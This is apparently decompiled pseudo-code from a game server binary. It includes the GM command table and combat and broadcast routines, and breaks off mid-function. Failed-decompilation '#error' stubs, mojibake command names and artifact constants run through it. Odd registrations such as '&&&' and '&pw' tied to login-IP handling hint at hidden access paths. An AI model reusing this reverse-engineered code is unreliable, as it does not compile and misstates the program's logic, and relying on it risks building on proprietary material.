AmpersandCommand::AmpersandCommand(AmpersandCommand *this) { AmpersandCommand *v1; // esi@1 signed int v2; // edx@1 int v3; // eax@1 int v4; // ebx@1 signed int v5; // ebp@1 ListStruct *v6; // ecx@3 AmpersandCommandElement *v7; // edi@3 int v8; // ecx@3 ListStruct *v9; // ecx@6 AmpersandCommandElement *v10; // edi@6 int v11; // ecx@6 ListStruct *v12; // ecx@9 AmpersandCommandElement *v13; // edi@9 int v14; // ecx@9 ListStruct *v15; // ecx@12 AmpersandCommandElement *v16; // edi@12 int v17; // ecx@12 v1 = this; this->baseclass_0.vfptr = (ListVtbl *)AmpersandCommand::_vftable_; this->baseclass_0.l_ListArray = 0; List::l_MakeList(&this->baseclass_0, 0x100u); v1->baseclass_0.vfptr = (ListVtbl *)AmpersandCommand::_vftable_; _eh_vector_constructor_iterator_( v1->ac_command, 0x28u, 256, (void (__thiscall *)(void *))DropItemStruct::ItemGroup::ItemGroup, (void (__thiscall *)(void *))ShineObjectClass::ShineMobileObject::smo_ChineCastCut); v2 = 2; v3 = 0; v4 = (int)&v1->ac_command[1]; v5 = 64; do { if ( v2 - 2 < v1->baseclass_0.l_MaxSize ) { v6 = v1->baseclass_0.l_Array; v7 = v6[v3].ls_Content; v8 = (int)&v6[v3]; if ( !v7 ) *(_DWORD *)v8 = v4 - 40; } if ( v2 - 1 < v1->baseclass_0.l_MaxSize ) { v9 = v1->baseclass_0.l_Array; v10 = v9[v3 + 1].ls_Content; v11 = (int)&v9[v3 + 1]; if ( !v10 ) *(_DWORD *)v11 = v4; } if ( v2 < v1->baseclass_0.l_MaxSize ) { v12 = v1->baseclass_0.l_Array; v13 = v12[v3 + 2].ls_Content; v14 = (int)&v12[v3 + 2]; if ( !v13 ) *(_DWORD *)v14 = v4 + 40; } if ( v2 + 1 < v1->baseclass_0.l_MaxSize ) { v15 = v1->baseclass_0.l_Array; v16 = v15[v3 + 3].ls_Content; v17 = (int)&v15[v3 + 3]; if ( !v16 ) *(_DWORD *)v17 = v4 + 80; } v3 += 4; v2 += 4; v4 += 160; --v5; } while ( v5 ); AmpersandCommand::ac_Store(v1, "&hide", 10, AmpersandCommand::ac_Hide); AmpersandCommand::ac_Store(v1, "&¼", 10, AmpersandCommand::ac_Hide); AmpersandCommand::ac_Store(v1, "&show", 10, AmpersandCommand::ac_Show); AmpersandCommand::ac_Store(v1, "&º¸¿©", 10, AmpersandCommand::ac_Show); AmpersandCommand::ac_Store(v1, "&pfind", 10, AmpersandCommand::ac_FindPlayer); AmpersandCommand::ac_Store(v1, "&ijÃßÀ", 10, AmpersandCommand::ac_FindPlayer); AmpersandCommand::ac_Store(v1, "&mfind", 10, AmpersandCommand::ac_FindMob); AmpersandCommand::ac_Store(v1, "&¸", 10, AmpersandCommand::ac_FindMob); AmpersandCommand::ac_Store(v1, "&kickout", 10, AmpersandCommand::ac_KickOutPlayer); AmpersandCommand::ac_Store(v1, "&Ãß¹æ", 10, AmpersandCommand::ac_KickOutPlayer); AmpersandCommand::ac_Store(v1, "&linkto", 10, AmpersandCommand::ac_LinkTo); AmpersandCommand::ac_Store(v1, "&À̵¿", 10, AmpersandCommand::ac_LinkTo); AmpersandCommand::ac_Store(v1, "&psummon", 10, AmpersandCommand::ac_SummonPlayer); AmpersandCommand::ac_Store(v1, "&ij¼Òȯ", 10, AmpersandCommand::ac_SummonPlayer); AmpersandCommand::ac_Store(v1, "&expbonus", 50, AmpersandCommand::ac_BonusExp); AmpersandCommand::ac_Store(v1, "&°æÇèÄ¡º¸³Ê½º", 50, AmpersandCommand::ac_BonusExp); AmpersandCommand::ac_Store(v1, "&itembonus", 50, AmpersandCommand::ac_BonusItem); AmpersandCommand::ac_Store(v1, "&¾ÆÀÌÅÛº¸³Ê½º", 50, AmpersandCommand::ac_BonusItem); AmpersandCommand::ac_Store(v1, "&fieldbonus", 50, AmpersandCommand::ac_FieldBonus); AmpersandCommand::ac_Store(v1, "&Çʵ庸³Ê½º", 50, AmpersandCommand::ac_FieldBonus); AmpersandCommand::ac_Store(v1, "&silence", 100, AmpersandCommand::ac_KeepFromChat); AmpersandCommand::ac_Store(v1, "&Á¶¿ëÈ", 100, AmpersandCommand::ac_KeepFromChat); AmpersandCommand::ac_Store(v1, "&distribute", 10, AmpersandCommand::ac_PlayerDistribute); AmpersandCommand::ac_Store(v1, "&isblock", 10, AmpersandCommand::ac_IsBlock); AmpersandCommand::ac_Store(v1, "&mobdist", 10, AmpersandCommand::ac_MobDistribute); AmpersandCommand::ac_Store(v1, "&chargeditem", 100, AmpersandCommand::ac_ChargedItem); AmpersandCommand::ac_Store(v1, "¶meterview", 100, AmpersandCommand::ac_ParameterView); AmpersandCommand::ac_Store(v1, "&adminlevel", 1, AmpersandCommand::ac_AdminLevel); AmpersandCommand::ac_Store(v1, "&serverindex", 100, AmpersandCommand::ac_ServerIndex); AmpersandCommand::ac_Store(v1, "&makeitem", 100, AmpersandCommand::ac_MakeItem); AmpersandCommand::ac_Store(v1, "&dimension", 100, AmpersandCommand::ac_Dimension); AmpersandCommand::ac_Store(v1, "&doorbuild", 100, AmpersandCommand::ac_DoorBuild); AmpersandCommand::ac_Store(v1, "&mobbreed", 50, AmpersandCommand::ac_MobBreed); AmpersandCommand::ac_Store(v1, "&mb", 50, AmpersandCommand::ac_MobBreed_simple); AmpersandCommand::ac_Store(v1, "&fullpoint", 50, AmpersandCommand::ac_fullpoint); AmpersandCommand::ac_Store(v1, "&summonplayer", 100, AmpersandCommand::ac_summonplayer); AmpersandCommand::ac_Store(v1, "&performance", 10, AmpersandCommand::ac_performance); AmpersandCommand::ac_Store(v1, "&sethp", 100, AmpersandCommand::ac_Sethp); AmpersandCommand::ac_Store(v1, "&setsp", 100, AmpersandCommand::ac_Setsp); AmpersandCommand::ac_Store(v1, "&dist", 10, AmpersandCommand::ac_Dist); AmpersandCommand::ac_Store(v1, "&coord", 10, AmpersandCommand::ac_CurrentLoc); AmpersandCommand::ac_Store(v1, "&scrint", 10, AmpersandCommand::ac_ScriptInterrupt); AmpersandCommand::ac_Store(v1, "&timer", 100, AmpersandCommand::ac_Timer); AmpersandCommand::ac_Store(v1, "&templink", 10, AmpersandCommand::ac_TempLink); AmpersandCommand::ac_Store(v1, "&oxblock", 100, AmpersandCommand::ac_OXBlock); AmpersandCommand::ac_Store(v1, "&z", 10, AmpersandCommand::ac_NoticeZone); AmpersandCommand::ac_Store(v1, "&¤»", 10, AmpersandCommand::ac_NoticeZone); AmpersandCommand::ac_Store(v1, "&gmchat", 1, AmpersandCommand::ac_GMChat); AmpersandCommand::ac_Store(v1, "&gldcollectclear", 100, AmpersandCommand::ac_GuildCollectClear); AmpersandCommand::ac_Store(v1, "&gldcollectset", 100, AmpersandCommand::ac_GuildCollectSet); AmpersandCommand::ac_Store(v1, "&questgiveup", 100, AmpersandCommand::ac_questgiveup); AmpersandCommand::ac_Store(v1, "&questrecieve", 100, AmpersandCommand::ac_questrecieve); AmpersandCommand::ac_Store(v1, "&questcomplete", 100, AmpersandCommand::ac_questcomplete); AmpersandCommand::ac_Store(v1, "&learnskill", 100, AmpersandCommand::ac_learnskill); AmpersandCommand::ac_Store(v1, "&skillcooltime", 100, AmpersandCommand::ac_skillcooltime); AmpersandCommand::ac_Store(v1, "&setabstate", 100, AmpersandCommand::ac_Setabstate); AmpersandCommand::ac_Store(v1, "&resetabstate", 100, AmpersandCommand::ac_resetabstate); AmpersandCommand::ac_Store(v1, "&kqreward", 100, AmpersandCommand::ac_KQReward); AmpersandCommand::ac_Store(v1, "&killallmob", 50, AmpersandCommand::ac_killallmob); AmpersandCommand::ac_Store(v1, "&mobdamage", 100, AmpersandCommand::ac_mobdamage); AmpersandCommand::ac_Store(v1, "&suicideallmob", 50, AmpersandCommand::ac_SuicideAllMob); AmpersandCommand::ac_Store(v1, "&kingdomquest", 100, AmpersandCommand::ac_KingdomQuest); AmpersandCommand::ac_Store(v1, "&Reroadkingdomquest", 100, AmpersandCommand::ac_ReroadKingdomQuest); AmpersandCommand::ac_Store(v1, "&endofkq", 100, AmpersandCommand::ac_EndOfKingdomQuest); AmpersandCommand::ac_Store(v1, "&guildtournament", 100, AmpersandCommand::ac_GuildTournament); AmpersandCommand::ac_Store(v1, "&zonelink", 100, AmpersandCommand::ac_ZoneLinkTest); AmpersandCommand::ac_Store(v1, "&block", 100, AmpersandCommand::ac_BlockMatrix); AmpersandCommand::ac_Store(v1, "&emptymap", 100, AmpersandCommand::ac_EmptyMap); AmpersandCommand::ac_Store(v1, "&serversocketcut", 100, AmpersandCommand::ac_ServerSocketCut); AmpersandCommand::ac_Store(v1, "&staticdamage", 50, AmpersandCommand::ac_staticdamage); AmpersandCommand::ac_Store(v1, "&deathaura", 100, AmpersandCommand::ac_deathaura); AmpersandCommand::ac_Store(v1, "&immortal", 10, AmpersandCommand::ac_immortal); AmpersandCommand::ac_Store(v1, "&enterminihouse", 100, AmpersandCommand::ac_EnterMiniHouse); AmpersandCommand::ac_Store(v1, "&horsespeed", 100, AmpersandCommand::ac_HorseSpeed); AmpersandCommand::ac_Store(v1, "&charinform", 10, AmpersandCommand::ac_CharInform); AmpersandCommand::ac_Store(v1, "&partyinfo", 100, AmpersandCommand::ac_PartyInform); AmpersandCommand::ac_Store(v1, "&propose", 100, AmpersandCommand::ac_Propose); AmpersandCommand::ac_Store(v1, "&proposeres", 100, AmpersandCommand::ac_ProposeRes); AmpersandCommand::ac_Store(v1, "&weddingreset", 100, AmpersandCommand::ac_WeddingReset); AmpersandCommand::ac_Store(v1, "&reserve", 100, AmpersandCommand::ac_WeddingReserve); AmpersandCommand::ac_Store(v1, "&enterready", 100, AmpersandCommand::ac_WeddingGuestEnterReady); AmpersandCommand::ac_Store(v1, "&enter", 100, AmpersandCommand::ac_WeddingGuestEnter); AmpersandCommand::ac_Store(v1, "&learnpassive", 100, AmpersandCommand::ac_learnPassive); AmpersandCommand::ac_Store(v1, "&unlearn", 100, AmpersandCommand::ac_Unlearnskill); AmpersandCommand::ac_Store(v1, "&unlearnpassive", 100, AmpersandCommand::ac_UnlearnPassive); AmpersandCommand::ac_Store(v1, "&wedding", 100, AmpersandCommand::ac_Wedding); AmpersandCommand::ac_Store(v1, "&showid", 100, AmpersandCommand::ac_ShowPlayerID); AmpersandCommand::ac_Store(v1, "&mobhatchery", 100, AmpersandCommand::ac_MobHatchery); AmpersandCommand::ac_Store(v1, "&allcritical", 100, AmpersandCommand::ac_AllCritical); AmpersandCommand::ac_Store(v1, "&erasechargebuf", 100, AmpersandCommand::ac_EraseChargeBuff); AmpersandCommand::ac_Store(v1, "&startGT", 100, AmpersandCommand::ac_StartGuildTournament); AmpersandCommand::ac_Store(v1, "&flagcapture", 100, AmpersandCommand::ac_FlagCapture); AmpersandCommand::ac_Store(v1, "&useguildskill", 100, AmpersandCommand::ac_UseGuildSkill); AmpersandCommand::ac_Store(v1, "&observerlinkto", 100, AmpersandCommand::ac_ObserverLinkTo); AmpersandCommand::ac_Store(v1, "&observerout", 100, AmpersandCommand::ac_ObserverOut); AmpersandCommand::ac_Store(v1, "&HP", 100, AmpersandCommand::ac_HPChange); AmpersandCommand::ac_Store(v1, "&SP", 100, AmpersandCommand::ac_SPChange); AmpersandCommand::ac_Store(v1, "&speed", 100, AmpersandCommand::ac_EditSpeed); AmpersandCommand::ac_Store(v1, "&linktosavedata", 100, AmpersandCommand::ac_LinktoSaveData); AmpersandCommand::ac_Store(v1, "&reloaddata", 100, AmpersandCommand::ac_ReLoadData); AmpersandCommand::ac_Store(v1, "&captivate", 100, AmpersandCommand::ac_Captivate); AmpersandCommand::ac_Store(v1, "&ignoreskillcooltime", 100, AmpersandCommand::ac_IgnoreSkillCoolTime); AmpersandCommand::ac_Store(v1, "&Ä", 100, AmpersandCommand::ac_IgnoreSkillCoolTime); AmpersandCommand::ac_Store(v1, "&invenview", 100, AmpersandCommand::ac_InventoryView); AmpersandCommand::ac_Store(v1, "&ghostremove", 100, AmpersandCommand::ac_GhostRemove); AmpersandCommand::ac_Store(v1, "&curtime", 100, AmpersandCommand::ac_CurTime); AmpersandCommand::ac_Store(v1, "&amibusy", 100, AmpersandCommand::ac_AmIBusy); AmpersandCommand::ac_Store(v1, "&pw", 0, AmpersandCommand::ac_PW); AmpersandCommand::ac_Store(v1, "&knockback", 100, AmpersandCommand::ac_KnockBack); AmpersandCommand::ac_Store(v1, "&partblock", 100, AmpersandCommand::ac_PartBlock); AmpersandCommand::ac_Store(v1, "&debuglogging", 100, AmpersandCommand::ac_DebugLogging); AmpersandCommand::ac_Store(v1, "&&&", 100, ShineObjectClass::ShineObject::so_ply_LoginIPSet); AmpersandCommand::ac_Store(v1, "&npcrevive", 100, AmpersandCommand::ac_NPCRevive); AmpersandCommand::ac_Store(v1, "&ts_DiceFix", 100, AmpersandCommand::ac_TaiSai_DiceFix); AmpersandCommand::ac_Store(v1, "&ts_DiceProbability", 100, AmpersandCommand::ac_TaiSai_DiceProbability); AmpersandCommand::ac_Store(v1, "&bigbang", 100, AmpersandCommand::ac_BigBang); AmpersandCommand::ac_Store(v1, "&alllearnskill", 100, AmpersandCommand::ac_AllLearnSKill); AmpersandCommand::ac_Store(v1, "&levelup", 100, AmpersandCommand::ac_LevelUp); AmpersandCommand::ac_Store(v1, "&showallchar", 100, AmpersandCommand::ac_ShowAllChar); AmpersandCommand::ac_Store(v1, ">ieffect", 50, AmpersandCommand::ac_GuildTournamentItemEffect); AmpersandCommand::ac_Store(v1, "&disposition", 50, ShineObjectClass::ShineObject::so_ply_LoginIPSet); AmpersandCommand::ac_Store(v1, "&idtimechange", 50, AmpersandCommand::ac_IDTimeChange); AmpersandCommand::ac_Store(v1, "&releasechatban", 50, AmpersandCommand::ac_ReleaseChatBan); } // 5987D8: using guessed type int (__stdcall *AmpersandCommand___vftable_[3])(__int16 hnd); //----- (0041A570) -------------------------------------------------------- void __thiscall std::vector_std::allocator>_std::allocator_std::allocator>>>::_vector_std::allocator>_std::allocator_std::allocator>>>(std::vector,std::allocator >,std::allocator,std::allocator > > > *this) { std::vector,std::allocator >,std::allocator,std::allocator > > > *v1; // esi@1 std::basic_string,std::allocator > *v2; // eax@1 v1 = this; v2 = this->_Myfirst; if ( v2 ) { std::_Destroy_range_std::allocator>_std::allocator_std::allocator>>>( v2, this->_Mylast, &this->baseclass_0._Alval, (std::_Nonscalar_ptr_iterator_tag)this); operator delete(v1->_Myfirst); } v1->_Myfirst = 0; v1->_Mylast = 0; v1->_Myend = 0; } //----- (0041A5B0) -------------------------------------------------------- #error "41A5B0: undefined or illegal type '#440' (funcsize=367)" //----- (0041AB30) -------------------------------------------------------- #error "41AB30: undefined or illegal type '#440' (funcsize=98)" //----- (0041ACD0) -------------------------------------------------------- unsigned int __thiscall AttackRhythm::AttackRhythmBase::arb_NextBash(AttackRhythm::AttackRhythmBase *this, AttackRhythm::CharArgument *ca, int attackspeed1000) { return 10 * attackspeed1000 / 1000; } //----- (0041ACF0) -------------------------------------------------------- void __thiscall AttackRhythm::AttackRhythm_Melee::AttackRhythm_Melee(AttackRhythm::AttackRhythm_Melee *this) { this->arm_table[0][0] = 0; this->arm_table[1][0] = 0; this->arm_table[2][1] = 0; this->arm_table[3][2] = 0; this->arm_table[4][2] = 0; this->arm_table[5][1] = 0; this->arm_table[0][1] = 1; this->arm_table[0][2] = 2; this->arm_table[1][1] = 2; this->arm_table[1][2] = 1; this->arm_table[2][0] = 1; this->arm_table[2][2] = 2; this->arm_table[3][0] = 1; this->arm_table[3][1] = 2; this->arm_table[4][0] = 2; this->arm_table[4][1] = 1; this->arm_table[5][0] = 2; this->arm_table[5][2] = 1; this->arm_table[6][0] = 3; this->arm_table[7][0] = 3; this->arm_table[8][0] = 3; this->arm_table[9][0] = 3; this->arm_table[10][0] = 3; this->arm_table[11][0] = 3; this->baseclass_0.vfptr = (AttackRhythm::AttackRhythmBaseVtbl *)&AttackRhythm::AttackRhythm_Melee::_vftable_; this->arm_table[6][1] = 4; this->arm_table[6][2] = 5; this->arm_table[7][1] = 4; this->arm_table[7][2] = 5; this->arm_table[8][1] = 4; this->arm_table[8][2] = 5; this->arm_table[9][1] = 4; this->arm_table[9][2] = 5; this->arm_table[10][1] = 4; this->arm_table[10][2] = 5; this->arm_table[11][1] = 4; this->arm_table[11][2] = 5; } //----- (0041ADA0) -------------------------------------------------------- void __thiscall AttackRhythm::AttackRhythm_Melee::arb_Next(AttackRhythm::AttackRhythm_Melee *this, AttackRhythm::CharArgument *ca) { char v2; // al@1 v2 = ca->ca_point + 1; ca->ca_point = v2; if ( (unsigned __int8)v2 >= 3u ) { ca->ca_point = 0; ca->ca_group = RandomBox::operator__(&rndbox, 0xCu); } } //----- (0041ADD0) -------------------------------------------------------- int __thiscall AttackRhythm::AttackRhythm_Melee::arb_ActionNumber(AttackRhythm::AttackRhythm_Melee *this, AttackRhythm::CharArgument *ca) { char v2; // al@1 int result; // eax@2 v2 = ca->ca_group; if ( (unsigned __int8)v2 < 0xCu ) result = this->arm_table[0][ca->ca_point + 3 * (unsigned __int8)v2]; else result = this->arm_table[0][ca->ca_point]; return result; } //----- (0041AE00) -------------------------------------------------------- unsigned int __thiscall AttackRhythm::AttackRhythm_Melee::arb_NextBash(AttackRhythm::AttackRhythm_Melee *this, AttackRhythm::CharArgument *ca, int attackspeed1000) { int v3; // edx@0 unsigned int result; // eax@3 if ( ca->ca_group >= 6u && ca->ca_point ) result = ((v3 & 0x1FFFF) + 1180 * attackspeed1000) >> 17; else result = ((signed int)((unsigned __int64)(10 * attackspeed1000 * (signed __int64)(signed int)((char *)&pathfindtable.pft_table[1579][488].pfc_from.x + 3)) >> 32) >> 6) + ((unsigned int)((unsigned __int64)(10 * attackspeed1000 * (signed __int64)(signed int)((char *)&pathfindtable.pft_table[1579][488].pfc_from.x + 3)) >> 32) >> 31); return result; } //----- (0041AE50) -------------------------------------------------------- void __thiscall AttackRhythm::AttackRhythm_Range::AttackRhythm_Range(AttackRhythm::AttackRhythm_Range *this) { this->baseclass_0.vfptr = (AttackRhythm::AttackRhythmBaseVtbl *)&AttackRhythm::AttackRhythm_Range::_vftable_; } //----- (0041AE60) -------------------------------------------------------- void __thiscall AttackRhythm::AttackRhythm_Range::arb_Next(AttackRhythm::AttackRhythm_Range *this, AttackRhythm::CharArgument *ca) { ca->ca_point = (ca->ca_point + 1) & 2; } //----- (0041AE80) -------------------------------------------------------- int __thiscall AttackRhythm::AttackRhythm_Range::arb_ActionNumber(AttackRhythm::AttackRhythm_Range *this, AttackRhythm::CharArgument *ca) { return ca->ca_point; } //----- (0041AE90) -------------------------------------------------------- void __thiscall AttackRhythm::AttackRhythm_Mob::AttackRhythm_Mob(AttackRhythm::AttackRhythm_Mob *this) { this->baseclass_0.vfptr = (AttackRhythm::AttackRhythmBaseVtbl *)&AttackRhythm::AttackRhythm_Mob::_vftable_; } //----- (0041AEA0) -------------------------------------------------------- void __thiscall AttackRhythm::AttackRhythm_Melee::_AttackRhythm_Melee(AttackRhythm::AttackRhythm_Mob *this) { this->baseclass_0.vfptr = (AttackRhythm::AttackRhythmBaseVtbl *)&AttackRhythm::AttackRhythmBase::_vftable_; } //----- (0041AEB0) -------------------------------------------------------- char __thiscall SubLayer::SubLayerInteractLoader::slil_Interact(SubLayer::SubLayerInteractLoader *this, SubLayer::Layer *my, SubLayer::Layer *another) { return my->l_Main == another->l_Main || my->l_Main == -1 || another->l_Main == -1; } //----- (0041AEE0) -------------------------------------------------------- unsigned int __thiscall AllOfRangeArgument::operator unsigned_long(AllOfRangeArgument *this) { unsigned int result; // eax@1 result = this->aora_argument + 1; this->aora_argument = result; return result; } //----- (0041AEF0) -------------------------------------------------------- void __thiscall AxialListIterator::AxialListIterator(AxialListIterator *this) { this->vfptr = (AxialListIteratorVtbl *)&AxialListIterator::_vftable_; } //----- (0041AF00) -------------------------------------------------------- char __thiscall AxialListMobCounter::ali_Work(AxialListMobCounter *this, #331 *a2, #331 *a3, unsigned int distancesquar) { return ((int (__stdcall *)(_DWORD, _DWORD))this->almc_Search)(a2, a3); } //----- (0041AF10) -------------------------------------------------------- #error "41AF10: undefined or illegal type '#331' (funcsize=35)" //----- (0041AF70) -------------------------------------------------------- #error "41AF70: undefined or illegal type '#331' (funcsize=44)" //----- (0041AFF0) -------------------------------------------------------- #error "41AFF0: undefined or illegal type '#331' (funcsize=41)" //----- (0041B060) -------------------------------------------------------- #error "41B060: undefined or illegal type '#331' (funcsize=45)" //----- (0041B0E0) -------------------------------------------------------- #error "41B0E0: undefined or illegal type '#331' (funcsize=31)" //----- (0041B130) -------------------------------------------------------- void __thiscall AxialListBossFind::AxialListBossFind(AxialListBossFind *this) { this->baseclass_0.vfptr = (AxialListIteratorVtbl *)&AxialListBossFind::_vftable_; } //----- (0041B160) -------------------------------------------------------- #error "41B160: undefined or illegal type '#331' (funcsize=8)" //----- (0041B180) -------------------------------------------------------- void __thiscall AxialListShowID::AxialListShowID(AxialListShowID *this, NETCOMMAND *nc) { this->alsi_nc = nc; this->baseclass_0.vfptr = (AxialListIteratorVtbl *)&AxialListShowID::_vftable_; this->alsi_IDInfo = (PROTO_NC_BRIEFINFO_PLAYER_LIST_INFO_APPEAR_CMD *)&nc[1]; LOBYTE(nc[1].protocol) = 0; } //----- (0041B1B0) -------------------------------------------------------- #error "41B1B0: undefined or illegal type '#331' (funcsize=11)" //----- (0041B1D0) -------------------------------------------------------- char __thiscall AxialListMobInAreaCounter::ali_Work(AxialListMobInAreaCounter *this, #331 *a2, #331 *a3, unsigned int distancesquar) { return ((int (__stdcall *)(_DWORD, _DWORD))this->almc_Search)(a2, a3); } //----- (0041B1E0) -------------------------------------------------------- #error "41B1E0: undefined or illegal type '#331' (funcsize=51)" //----- (0041B270) -------------------------------------------------------- void __thiscall AxialListProtocolSend::AxialListProtocolSend(AxialListProtocolSend *this, int department, int command) { this->baseclass_0.vfptr = (AxialListIteratorVtbl *)&AxialListProtocolSend::_vftable_; this->alps_department = department; this->alps_command = command; } //----- (0041B290) -------------------------------------------------------- #error "41B290: undefined or illegal type '#331' (funcsize=12)" //----- (0041B2B0) -------------------------------------------------------- void __thiscall AxialListMobKillLog::AxialListMobKillLog(AxialListMobKillLog *this, int department, int command, unsigned __int16 nMobID) { this->alps_department = department; this->baseclass_0.vfptr = (AxialListIteratorVtbl *)&AxialListMobKillLog::_vftable_; this->alps_command = command; this->alps_nMobID = nMobID; } //----- (0041B2E0) -------------------------------------------------------- void __thiscall AxialListWall::_AxialListWall(AxialListMobKillLog *this) { this->baseclass_0.vfptr = (AxialListIteratorVtbl *)&AxialListIterator::_vftable_; } //----- (0041B2F0) -------------------------------------------------------- void __thiscall AxialListPacketBroadcast::AxialListPacketBroadcast(AxialListPacketBroadcast *this, ProtocolPacket *pack, int packlen) { AxialListPacketBroadcast *v3; // esi@1 v3 = this; this->baseclass_0.vfptr = (AxialListIteratorVtbl *)&AxialListPacketBroadcast::_vftable_; FunctionProfiler::PerformanceRecorder::pr_Entrance(&_PerformanceRecorder, unk_59AACC); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = unk_59AACC; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v3->alpb_packet = pack; if ( ProtocolPacket::pp_SetPacketLen(pack, packlen) ) { v3->alpb_packetlength = packlen; } else { AssertClass::ac_AssertFail(&shineassert, unk_59AA80, packlen); v3->alpb_packetlength = 0; } --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, unk_59AACC); } //----- (0041B3D0) -------------------------------------------------------- void __thiscall AxialListPacketBroadcast::_AxialListPacketBroadcast(AxialListPacketBroadcast *this) { AxialListPacketBroadcast *v1; // esi@1 v1 = this; this->baseclass_0.vfptr = (AxialListIteratorVtbl *)&AxialListPacketBroadcast::_vftable_; FunctionProfiler::PerformanceRecorder::pr_Entrance(&_PerformanceRecorder, unk_59AB00); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = unk_59AB00; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint] = -1; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, unk_59AB00); v1->baseclass_0.vfptr = (AxialListIteratorVtbl *)&AxialListIterator::_vftable_; } //----- (0041B450) -------------------------------------------------------- #error "41B450: undefined or illegal type '#331' (funcsize=110)" //----- (0041B5B0) -------------------------------------------------------- void __thiscall AxialListPacketBroadcastByGuild::AxialListPacketBroadcastByGuild(AxialListPacketBroadcastByGuild *this, ProtocolPacket *pack, int packlen, unsigned int GRegNum) { AxialListPacketBroadcastByGuild *v4; // esi@1 v4 = this; AxialListPacketBroadcast::AxialListPacketBroadcast(&this->baseclass_0, pack, packlen); v4->baseclass_0.baseclass_0.vfptr = (AxialListIteratorVtbl *)&AxialListPacketBroadcastByGuild::_vftable_; v4->m_GuildRegNum = GRegNum; } //----- (0041B5E0) -------------------------------------------------------- void __thiscall AxialListPacketBroadcastByGuild::_AxialListPacketBroadcastByGuild(AxialListPacketBroadcastByGuild *this) { this->baseclass_0.baseclass_0.vfptr = (AxialListIteratorVtbl *)&AxialListPacketBroadcastByGuild::_vftable_; AxialListPacketBroadcast::_AxialListPacketBroadcast(&this->baseclass_0); } //----- (0041B5F0) -------------------------------------------------------- #error "41B5F0: undefined or illegal type '#331' (funcsize=23)" //----- (0041B630) -------------------------------------------------------- void __thiscall AxialListPacketBroadcast4ItemPickUp::AxialListPacketBroadcast4ItemPickUp(AxialListPacketBroadcast4ItemPickUp *this, ProtocolPacket *pack, int packlen) { AxialListPacketBroadcast4ItemPickUp *v3; // esi@1 v3 = this; this->baseclass_0.vfptr = (AxialListIteratorVtbl *)&AxialListPacketBroadcast4ItemPickUp::_vftable_; FunctionProfiler::PerformanceRecorder::pr_Entrance(&_PerformanceRecorder, unk_59ABC0); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = unk_59ABC0; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v3->alpb_packet = pack; if ( ProtocolPacket::pp_SetPacketLen(pack, packlen) ) { v3->alpb_packetlength = packlen; } else { AssertClass::ac_AssertFail(&shineassert, unk_59AB60, packlen); v3->alpb_packetlength = 0; } --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, unk_59ABC0); } //----- (0041B710) -------------------------------------------------------- void __thiscall AxialListPacketBroadcast4ItemPickUp::_AxialListPacketBroadcast4ItemPickUp(AxialListPacketBroadcast4ItemPickUp *this) { AxialListPacketBroadcast4ItemPickUp *v1; // esi@1 v1 = this; this->baseclass_0.vfptr = (AxialListIteratorVtbl *)&AxialListPacketBroadcast4ItemPickUp::_vftable_; FunctionProfiler::PerformanceRecorder::pr_Entrance(&_PerformanceRecorder, unk_59AC10); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = unk_59AC10; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint] = -1; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, unk_59AC10); v1->baseclass_0.vfptr = (AxialListIteratorVtbl *)&AxialListIterator::_vftable_; } //----- (0041B790) -------------------------------------------------------- #error "41B790: undefined or illegal type '#331' (funcsize=96)" //----- (0041B8E0) -------------------------------------------------------- #error "41B8E0: undefined or illegal type '#331' (funcsize=67)" //----- (0041B9C0) -------------------------------------------------------- #error "41B9C0: undefined or illegal type '#331' (funcsize=133)" //----- (0041BB90) -------------------------------------------------------- #error "41BB90: undefined or illegal type '#331' (funcsize=40)" //----- (0041BC00) -------------------------------------------------------- #error "41BC00: undefined or illegal type '#331' (funcsize=43)" //----- (0041BC70) -------------------------------------------------------- #error "41BC70: undefined or illegal type '#331' (funcsize=46)" //----- (0041BCF0) -------------------------------------------------------- #error "41BCF0: undefined or illegal type '#331' (funcsize=50)" //----- (0041BD80) -------------------------------------------------------- #error "41BD80: undefined or illegal type '#331' (funcsize=75)" //----- (0041BE70) -------------------------------------------------------- ShineCommonParameter::ShineParameter *__thiscall ShineCommonParameter::operator_>(ShineCommonParameter *this) { return &this->scp_param; } //----- (0041BE80) -------------------------------------------------------- char __thiscall DirectDistanceTable::ddt_DirectSR(DirectDistanceTable *this, int dx, int dy) { int v3; // esi@1 int i; // edi@1 v3 = dx; for ( i = dy; v3 > 1024 || v3 < -1024 || i > 1024 || i < -1024; i /= 2 ) v3 /= 2; return *((_BYTE *)&this->ddt_Table[0][i + 2049 * v3].distance + (_DWORD)((char *)&wholesaver + 8682564)); } //----- (0041BEE0) -------------------------------------------------------- void __thiscall BriefInfoBackup::bib_Restore(BriefInfoBackup *this, CHARBRIEFINFO_NOTCAMP *shape) { if ( this->bib_Backuped ) { memcpy(shape, this, 0x2Fu); this->bib_Backuped = 0; } } //----- (0041BF10) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::TimeScheduler::ts_Set(ShineObjectClass::ShinePlayer::TimeScheduler *this, ShineObjectClass::ShinePlayer::TimeScheduler::TS_ReturnType (__thiscall *fnc)(#440 *), ShineObjectClass::ShinePlayer::TimeScheduler::TS_ReturnType defaultreturn, ShineObjectClass::ShinePlayer::TimeScheduler::TS_CurWork work, int millisec) { this->ts_Limit = clockwatch.cw_CurrTick + ((signed int)((unsigned __int64)(10 * millisec * (signed __int64)(signed int)((char *)&pathfindtable.pft_table[1579][488].pfc_from.x + 3)) >> 32) >> 6) + ((unsigned int)((unsigned __int64)(10 * millisec * (signed __int64)(signed int)((char *)&pathfindtable.pft_table[1579][488].pfc_from.x + 3)) >> 32) >> 31); if ( this->ts_CurWork == 4 ) { AssertClass::ac_AssertFail(&shineassert, "ShinePlayer::TimeScheduler::ts_Set - ", work); } else { 